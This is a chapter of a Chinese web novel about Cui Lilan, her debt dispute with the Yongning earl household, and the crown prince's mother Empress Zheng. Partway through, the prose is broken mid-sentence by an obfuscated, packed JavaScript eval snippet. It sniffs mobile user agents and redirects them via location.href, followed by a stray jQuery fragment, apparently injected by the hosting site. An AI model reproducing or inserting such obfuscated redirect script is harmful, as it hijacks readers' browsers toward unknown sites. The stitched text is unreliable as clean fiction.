青霜一大早就带着一伙家将去永宁伯府讨要嫁妆,顺便“看了个热闹”。
永宁伯府现在是人仰马翻,老白姨娘人到中年才终于过了一把正室夫人掌管中馈的瘾儿,可她也算是愁死了,府中现下情况,那是漏洞多的是个筛子似的。
先不说公中并无多少银两,就单论府中日常开销,马上还要发下人每个月的月银,还有府中这么多人吃药,可不就捉襟见肘了。
老白姨娘正头疼着,崔府过来催债的到了。
得了,还把这一茬忘了,那叫一个赖皮。
先是好一番推诿,府中现在无人主事,她一个妾做不得主;又是一番撒泼打滚,要钱没有,要命一条,气得青霜直闯书房,大喊陆峥还钱。
陆峥醉的不省人事,哪管的了这些,青霜当即放下狠话,按照律法,若是三个月内还不上就要去坐牢,气呼呼回来回禀。
崔俪兰安抚住她:“我早知很难,不过,没事,等主事的人醒转过来,自然会想法子还债。就算是砸锅卖铁也不会拖欠的。除非,他永宁伯府连伯府的爵位也没了。”
这就是她从弹幕中学来的“现代思想”之一,要学会用法律武器,捍卫自己的权利。
青霜若有所思地点点头。
“对了,还有一件趣事。”
青霜走后,陆峥的酒也醒了大半,让人打水净面。他从水中看到自己脸上冒出了胡茬子。
愣神间,前院传来吵吵嚷嚷的声音,他本来不想管。
“侯爷——救救我!”
柳如烟委屈接旨,不知道永宁侯府已经变成了永宁伯府。
陆峥心里有些不是滋味,但是一想到柳如烟肚子里还有自己的种,也有可能是自己这辈子唯一的子嗣,便起身推门而出。
门外阳光灿烂有些刺眼,他眯着眼,嘶哑着嗓子质问:“你们在干什么?”
柳如烟被两个粗使婆子押着,嘴里还在嘶吼,见到陆峥犹如救命稻草。
粗使婆子见到陆峥,放开了柳如烟行礼道:“伯爷。”
陆峥还是下意识地将柳如烟护在怀中,老白姨娘过来说着风凉话:“伯爷有所不知,官府来人要将柳如烟执大刑发卖了。”
“不行,她是我的女人。”柳如烟闻言有些动容。
“她还怀着我的孩子,怎能受刑?”柳如烟笑意一滞。
老白姨娘一脸看笑话地道:“这也没办法,谁让柳如烟确实违了大周律,律法大于天啊。”
跟着过来的差人,也正色道:“伯爷,请你不要妨碍执行公务。”
“不行,你们不能带走她,她所犯并非死罪,我朝律例有言。此罪准以钱赎。”说着,朝老白姨娘道,“白姨娘,快去交赎金。”
老白姨娘本来在看戏,一看火烧到自己身上,顿时不乐意了。
这府中本就揭不开锅了,哪来银钱赎柳如烟的罪?
倒是那个差人极有眼色,索性拿了银钱他们呢也能得了好处,见状,笑道:“还是伯爷主意好,哪有人为了银钱将自己子嗣害了呢。”
陆峥闻言便知是老白姨娘搞事情,眼神一厉:“自然是有些眼皮子浅的,白姨娘,你还是好好照顾好父亲为要。”
老白姨娘怒火直冲头顶,但还是挤出来了一个笑:“呵呵,伯爷说的是。”
心下鄙夷,一个不行的废人,又丢了这么大的脸,连累的永宁侯府被降爵,怎么好意思在这耍横。
眼珠子一转,要是柳如烟没了子嗣,我看你这个爵位还怎么坐得下去!
思及此,老白姨娘呼天抢地:“伯爷啊,您真是不当家不知柴米贵,这伯府哪还有银子?”
那两个差人竖起耳朵听八卦,陆峥或许已经麻木了不再在意。
“今儿个崔府还派人来催债,这府里已经空空如也。哪还有多余的银钱?”
陆峥正要找自己母亲要银子,只见母亲屋内遭了贼,大发雷霆,将丫鬟婆子都数落了一通。
最后,陆峥只能忍痛咬牙拿出了自己几乎是全部的私房。
老白姨娘见他还能掏出这么多银子,越发嫉恨。
陆峥打发走差人,派赵管事跟着去处理柳如烟以钱赎罪的事了。
回到书房以后,他只觉得书房中空气越发污浊,并未想太多。
突然书房中传来了熟悉的水流声。
来人一脸阴沉,上来就是一顿劈头盖脸的骂:“陆峥,你做事怎么这么不小心?”
陆峥惶恐不安地跪倒在地:“求特使大人帮奴求求情,求主子饶命啊!”
特使身着宽大斗篷,黑纱覆面,一挥手,陆峥一声闷哼,血迹蜿蜒在手掌周围。
他半个指尖没了。
特使恶狠狠道:“这次是教训,还有下次……哼。”
陆峥连连磕头,那人丢下一物,转身后闷声道:“密道里的,你自己处理了。”
陆峥进了密室,见到那物,吓得魂不附体。
一只耗子不知从哪窜出,他盯着那小东西,现在的自己就如这过街老鼠,一拳打在地上,血肉模糊,他嗞着大白牙,魔怔般低低地笑道:“崔俪兰,我、要、你、死!”
这厢,青霜刚汇报完事情,见崔俪兰还是一脸淡定。
青霜眼珠子滴溜溜转道:“主子,要不把这笔银子截下吧?”
崔俪兰蹙着眉拒绝道:“万万不可,柳如烟和陆峥虽然可恨至极,可腹中胎儿无辜。若是真的拿了这笔银子,以陆峥的狠,以永宁伯府目前的经济状况,柳如烟的孩子怕是不保了。”
青霜叹道:“主子,你就是太善良了。”
崔俪兰想了想,又说:“对了,宋大家是不是已经回府了?帮我送去拜帖,我明日就过去和她商讨一下办学事宜。”
崔俪兰一边说一边翻开账册:“对了,这是我之前的铺子这个月的盈利,我得好好盘算一下,现有的银钱和每个月的盈利可够我办学支出。”
“主子你可真是痴迷于……公务?”青霜无奈扶额,她不知道还有个词叫事业脑、工作狂,“对了,等要回永宁伯府的债,不就有银子了。”
“你觉得,能要得回来?”崔俪兰笑着看向她,看得青霜好像被嘲讽了一般。
不好意思地挠了挠头,青霜没底气道:“能、能要回不,毕竟他们再泼皮无赖,也不可能违了律法。”
“时间可是三个月,你觉得以那群渣滓的德行,能好端端大出血,老老实实把账还了?”
“主子,你是说他们还要搞事情?”
“没事的,兵来将挡,水来土掩。见招拆招就好。”
崔俪兰继续垂首看账册,念叨道:“现在第一要务是把女学办好,其他的再说吧。”
青霜没敢打扰崔俪兰,轻轻带上了门。
崔俪兰忙完以后,突
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195779|188273||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然觉得少了点什么。
正要打开弹幕,却发现眼前什么都没有,心下一惊,不过下一刻,熟悉的弹幕稀稀拉拉地出现了。还是那些迟到的祝福。
【恭喜兰兰重获新生】
【恭喜女主宝宝获得自由,改变了原剧的悲惨命运】
崔俪兰见到这些熟悉的弹幕,会心一笑,由衷地感谢。
裴及安回东宫以后,先是去母后宫门口站了好大一会儿。
郑后依旧是闭门不见,只是此时,宫门开了一个小缝,里面有一个头发花白的老嬷嬷探出头来,见她点了点头,然后将门开大了些,只身影不见。
裴及安跪地,叩首 ,直起上半身,在心中默念道:“母后,儿臣现在安然而归,也找到了人生挚爱,等时机成熟,儿臣会带她来见你,你一定会喜欢她的。”
而后起身,转身离去。
“母后,你放心,大哥的仇我一定会替他报,让你亲自手刃仇人。”
门后一个身影立在那,静静听着脚步声离去。
老嬷嬷扶着郑后:“娘娘,外面风大,您快回屋吧,殿下他聪慧过人,会无事的。”
郑后木然地由着她给自己拢了拢披风,老嬷嬷愁容满面:“娘娘,您又是何苦呢?”
郑后摇了摇头,喃喃自语:“晟儿没了,郑家也倒了……”
一人跪地汇报:“娘娘。属下有要事要禀告。”
那人抬起头,正是紫电。
紫电本不善言辞,可她聪明,早在随殿下回宫之前就先和青霜通过气了,青霜就将“台词”给她准备好了,让她照着背即可。
宫殿内,郑后静静听着紫电的汇报,半晌无言。
手边的茶水都快凉了,郑后才缓缓道:“那个女子当真这般好?”
“是。”紫电补充道,“若非崔姑娘,殿下就凶多吉少了,而且崔姑娘聪慧敏锐,运气又好,次次都帮殿下逢凶化吉、遇难呈祥,还帮殿下查出了部分真相和好些秘密。”总之就是一顿夸夸,紫电和青霜早就将崔俪兰视为主母,而且崔俪兰还将先太子遇害的重要证人和证据查了出来,他们都是万分感激。
而且,她们两个女孩子,心思敏感,能感受到太子殿下的心思,如果没有崔俪兰,裴九可能早就疯魔了,也不会是现在这般清明却狡诈的模样。
就连青霜跟着崔俪兰也学会了坑人的腹黑伎俩。
紫电连连点头。
对于紫电青霜等玄影卫,郑后再信任不过了,这些人都是大儿子出生入死的臂膀、兄弟,紫电这一番经过青霜“润色”的话,自然全说到了她的心坎上。
郑后面色一喜:“可是清河崔氏的女儿?真是缘分呐。小九居然也有喜欢的人了,他一向执拗地狠,快,让人给本宫梳洗一番,不,先把小九喊回来。”
老嬷嬷激动道:“娘娘,您终于肯见殿下了。”
“等一下,我现在哪有面目去见他?快给本宫备菜,本宫要做拿手的好菜。”郑后说着,就一反常态,经过这段时间的煎熬,她早已想明白,一味躲着,只会让敌人气焰嚣张,她决定也要像小九一样,勇敢站起来保护着身后的人,不再蛰伏隐忍。
这厢,崔俪兰刚刚盘点完账册,面色有些凝重,看来自己想要用现有的钱财去经营女学怕是有点难。
又想到永宁伯府欠自己的银两,总得想个法子,逼他们吐出来才行。